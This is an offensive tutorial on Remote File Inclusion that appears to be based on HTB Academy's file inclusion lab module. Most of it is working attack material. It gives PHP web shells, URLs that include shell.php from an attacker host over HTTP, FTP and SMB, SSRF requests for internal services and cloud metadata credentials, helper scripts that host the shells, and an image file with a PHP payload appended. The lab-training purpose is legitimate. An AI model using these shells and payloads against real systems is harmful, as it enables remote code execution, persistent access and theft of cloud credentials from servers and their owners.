Remote File Inclusion (RFI)

Overview

Remote File Inclusion (RFI) allows attackers to include and execute files from external servers. Unlike LFI, RFI enables direct remote code execution by hosting malicious files on attacker-controlled servers.

Key Difference from LFI:

  • LFI: Includes local files from the target server

  • RFI: Includes remote files from external servers controlled by the attacker

Impact:

  • Direct Remote Code Execution - Execute arbitrary code via remote scripts

  • Web Shell Deployment - Persistent access through uploaded shells

  • Server-Side Request Forgery (SSRF) - Internal network reconnaissance

  • Lateral Movement - Access internal services and systems

RFI vs LFI Functions

Functions Supporting RFI

Language
Function
Local Files
Remote URLs
RFI Capable

PHP

include() / include_once()

✅

✅

✅

PHP

require() / require_once()

✅

❌

❌

NodeJS

require()

✅

❌

❌

Java

import

✅

✅

✅

.NET

include

✅

✅

✅

Key Point: Only functions that support remote URLs can be exploited for RFI.

RFI Configuration Requirements

PHP Configuration

Required Settings:

# Essential for RFI
allow_url_fopen = On     # Enables URL wrappers
allow_url_include = On   # Allows including remote URLs

# Check current settings
php -i | grep allow_url

Configuration Verification:

# Via LFI to check php.ini
http://target.com/lfi.php?file=../../../../etc/php/*/apache2/php.ini

# Via phpinfo() if possible
http://target.com/lfi.php?file=data://text/plain,<?php phpinfo(); ?>

# Via direct function test
http://target.com/lfi.php?file=data://text/plain,<?php echo ini_get('allow_url_include'); ?>

Method 1: HTTP Protocol RFI

Basic HTTP RFI

Step 1: Create Malicious PHP File

<?php
// Simple web shell
system($_GET['cmd']);
?>

Step 2: Host on Attacker Server

# Start HTTP server
sudo python3 -m http.server 80

# Or using PHP built-in server
php -S 0.0.0.0:80

# Or using Nginx/Apache
sudo systemctl start nginx

Step 3: Execute RFI Attack

# Include remote PHP file
http://target.com/index.php?page=http://ATTACKER_IP/shell.php&cmd=id

# Alternative syntax
http://target.com/index.php?file=http://ATTACKER_IP:80/shell.php&cmd=whoami

HTB Academy HTTP RFI Lab

Complete RFI Workflow:

# Step 1: Set up attacker server
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 80

# Step 2: Test RFI capability
http://target.com/index.php?language=http://ATTACKER_IP/shell.php

# Step 3: Execute commands via RFI
http://target.com/index.php?language=http://ATTACKER_IP/shell.php&cmd=id
http://target.com/index.php?language=http://ATTACKER_IP/shell.php&cmd=uname -a

# Step 4: Enumerate and find flags
http://target.com/index.php?language=http://ATTACKER_IP/shell.php&cmd=find / -name "*flag*" 2>/dev/null

Advanced HTTP RFI

Multi-Function Web Shell:

<?php
// Advanced web shell with multiple functions
if(isset($_GET['cmd'])) {
    echo "<pre>";
    echo shell_exec($_GET['cmd']);
    echo "</pre>";
} elseif(isset($_GET['file'])) {
    echo file_get_contents($_GET['file']);
} elseif(isset($_GET['upload'])) {
    if(isset($_FILES['file'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
        echo "File uploaded successfully!";
    } else {
        echo '<form method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
              </form>';
    }
} else {
    echo "Advanced Web Shell<br>";
    echo "Usage: ?cmd=command | ?file=path | ?upload=1";
}
?>

Method 2: FTP Protocol RFI

FTP Server Setup

Install and Configure FTP Server:

# Install pyftpdlib
pip3 install pyftpdlib

# Start FTP server
sudo python3 -m pyftpdlib -p 21 -d /path/to/files -w

# Alternative: Use built-in FTP
sudo python3 -c "
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()
authorizer.add_anonymous('/path/to/files', perm='elradfmwMT')

handler = FTPHandler
handler.authorizer = authorizer

server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()
"

FTP RFI Exploitation

Basic FTP RFI:

# Include file via FTP
http://target.com/index.php?page=ftp://ATTACKER_IP/shell.php&cmd=id

# With authentication (if required)
http://target.com/index.php?page=ftp://user:pass@ATTACKER_IP/shell.php&cmd=whoami

HTB Academy FTP RFI Example:

# Step 1: Create malicious file
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Step 2: Start FTP server
sudo python3 -m pyftpdlib -p 21 -w

# Step 3: Execute RFI via FTP
http://target.com/index.php?language=ftp://ATTACKER_IP/shell.php&cmd=ls -la

Method 3: SMB Protocol RFI (Windows)

SMB Server Setup

Using Impacket SMB Server:

# Install impacket
pip3 install impacket

# Start SMB server
sudo impacket-smbserver -smb2support share $(pwd)

# Start with authentication
sudo impacket-smbserver -smb2support -user test -password test123 share $(pwd)

SMB RFI Exploitation

Basic SMB RFI:

# Include file via SMB (Windows targets)
http://target.com/index.php?page=\\ATTACKER_IP\share\shell.php&cmd=whoami

# Alternative syntax
http://target.com/index.php?file=//ATTACKER_IP/share/shell.php&cmd=dir

Key Advantage: SMB RFI doesn't require allow_url_include = On on Windows systems.

HTB Academy SMB RFI Example:

# Step 1: Create Windows-compatible shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Step 2: Start SMB server
sudo impacket-smbserver -smb2support share $(pwd)

# Step 3: Execute RFI via SMB (Windows target)
http://target.com/index.php?language=\\ATTACKER_IP\share\shell.php&cmd=whoami

RFI for SSRF and Internal Reconnaissance

SSRF via RFI

Internal Port Scanning:

# Scan internal network via RFI
http://target.com/lfi.php?file=http://192.168.1.1:80/
http://target.com/lfi.php?file=http://192.168.1.1:22/
http://target.com/lfi.php?file=http://192.168.1.1:3306/

# Check for internal services
http://target.com/lfi.php?file=http://localhost:8080/
http://target.com/lfi.php?file=http://127.0.0.1:9000/

Internal Service Enumeration:

# Common internal services
http://target.com/lfi.php?file=http://127.0.0.1:3306/     # MySQL
http://target.com/lfi.php?file=http://127.0.0.1:5432/     # PostgreSQL
http://target.com/lfi.php?file=http://127.0.0.1:6379/     # Redis
http://target.com/lfi.php?file=http://127.0.0.1:11211/    # Memcached
http://target.com/lfi.php?file=http://127.0.0.1:9200/     # Elasticsearch

Cloud Metadata Access

AWS Metadata Extraction:

# AWS Instance metadata
http://target.com/lfi.php?file=http://169.254.169.254/latest/meta-data/

# AWS credentials
http://target.com/lfi.php?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS user data
http://target.com/lfi.php?file=http://169.254.169.254/latest/user-data/

Azure Metadata Extraction:

# Azure instance metadata
http://target.com/lfi.php?file=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Azure access tokens
http://target.com/lfi.php?file=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

RFI Troubleshooting

Problem: RFI not working with HTTP

# Issue: allow_url_include disabled
# Check 1: Verify PHP configuration
http://target.com/lfi.php?file=data://text/plain,<?php echo ini_get('allow_url_include'); ?>

# Check 2: Try different protocols
ftp://ATTACKER_IP/shell.php      # FTP protocol
\\ATTACKER_IP\share\shell.php    # SMB protocol (Windows)

# Check 3: Check firewall/network restrictions
# Test if target can reach your server
sudo tcpdump -i any -n host TARGET_IP

Problem: Server unreachable

# Issue: Target cannot reach attacker server
# Check 1: Verify server is listening
netstat -tlnp | grep :80

# Check 2: Check firewall rules
sudo iptables -L | grep 80
sudo ufw status

# Check 3: Test with different ports
python3 -m http.server 8080
python3 -m http.server 443

Problem: File not executing

# Issue: Remote file included but not executed
# Check 1: Verify file content
curl http://ATTACKER_IP/shell.php

# Check 2: Check PHP syntax
php -l shell.php

# Check 3: Try different file extensions
shell.txt      # Plain text
shell.php      # PHP file
shell.inc      # Include file

Problem: Authentication required

# Issue: HTTP server requires authentication
# Solution 1: Configure server without auth
python3 -m http.server 80  # No authentication

# Solution 2: Use credentials in URL
http://target.com/lfi.php?file=http://user:pass@ATTACKER_IP/shell.php

# Solution 3: Try different protocols
ftp://user:pass@ATTACKER_IP/shell.php

Tools and Resources

RFI Server Setup Scripts

HTTP Server Automation:

cat << 'EOF' > setup_rfi_server.sh
#!/bin/bash
PORT=${1:-80}
DIR=${2:-$(pwd)}

echo "[+] Setting up RFI HTTP server..."
echo "[+] Port: $PORT"
echo "[+] Directory: $DIR"

# Create basic web shell
cat << 'SHELL' > "$DIR/shell.php"
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    echo shell_exec($_GET['cmd']);
    echo "</pre>";
} else {
    echo "RFI Web Shell - Usage: ?cmd=command";
}
?>
SHELL

echo "[+] Created shell.php"

# Start HTTP server
if [ "$PORT" -eq 80 ] || [ "$PORT" -eq 443 ]; then
    echo "[+] Starting privileged server on port $PORT"
    sudo python3 -m http.server $PORT --directory "$DIR"
else
    echo "[+] Starting server on port $PORT"
    python3 -m http.server $PORT --directory "$DIR"
fi
EOF
chmod +x setup_rfi_server.sh

Multi-Protocol RFI Server:

cat << 'EOF' > multi_rfi_server.sh
#!/bin/bash
echo "[+] Starting multi-protocol RFI servers..."

# Create shell file
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Start HTTP server
echo "[+] Starting HTTP server on port 80..."
sudo python3 -m http.server 80 &
HTTP_PID=$!

# Start FTP server
echo "[+] Starting FTP server on port 21..."
sudo python3 -m pyftpdlib -p 21 -w &
FTP_PID=$!

# Start SMB server
echo "[+] Starting SMB server..."
sudo impacket-smbserver -smb2support share $(pwd) &
SMB_PID=$!

echo "[+] All servers started!"
echo "HTTP: http://ATTACKER_IP/shell.php"
echo "FTP:  ftp://ATTACKER_IP/shell.php"
echo "SMB:  \\\\ATTACKER_IP\\share\\shell.php"

# Cleanup function
cleanup() {
    echo "[+] Stopping servers..."
    kill $HTTP_PID $FTP_PID $SMB_PID 2>/dev/null
    sudo pkill -f "http.server"
    sudo pkill -f "pyftpdlib"
    sudo pkill -f "smbserver"
}

trap cleanup EXIT
read -p "Press Enter to stop all servers..."
EOF
chmod +x multi_rfi_server.sh

RFI Testing Scripts

Automated RFI Testing:

cat << 'EOF' > test_rfi.sh
#!/bin/bash
TARGET=$1
ATTACKER_IP=$2

if [ -z "$TARGET" ] || [ -z "$ATTACKER_IP" ]; then
    echo "Usage: $0 <target_url> <attacker_ip>"
    echo "Example: $0 'http://target.com/lfi.php?file=' '10.10.14.55'"
    exit 1
fi

echo "[+] Testing RFI on $TARGET"
echo "[+] Attacker IP: $ATTACKER_IP"

# Test HTTP RFI
echo "[+] Testing HTTP RFI..."
response=$(curl -s "${TARGET}http://${ATTACKER_IP}/shell.php")
if echo "$response" | grep -q "RFI"; then
    echo "✓ HTTP RFI appears to work"
else
    echo "✗ HTTP RFI failed"
fi

# Test FTP RFI
echo "[+] Testing FTP RFI..."
response=$(curl -s "${TARGET}ftp://${ATTACKER_IP}/shell.php")
if echo "$response" | grep -q "RFI"; then
    echo "✓ FTP RFI appears to work"
else
    echo "✗ FTP RFI failed"
fi

# Test SMB RFI (Windows)
echo "[+] Testing SMB RFI..."
response=$(curl -s "${TARGET}\\\\${ATTACKER_IP}\\share\\shell.php")
if echo "$response" | grep -q "RFI"; then
    echo "✓ SMB RFI appears to work"
else
    echo "✗ SMB RFI failed"
fi
EOF
chmod +x test_rfi.sh

Advanced RFI Payloads

Steganographic RFI:

# Hide PHP in image file
cat << 'EOF' > create_steganographic_rfi.sh
#!/bin/bash
# Create image with embedded PHP
cp /usr/share/pixmaps/debian-logo.png malicious.png
echo '<?php system($_GET["cmd"]); ?>' >> malicious.png

echo "[+] Created malicious.png with embedded PHP"
echo "Usage: http://target.com/lfi.php?file=http://ATTACKER_IP/malicious.png&cmd=id"
EOF
chmod +x create_steganographic_rfi.sh

This guide covers Remote File Inclusion techniques from HTB Academy's File Inclusion module, demonstrating how to achieve RCE and internal network access through external file inclusion.

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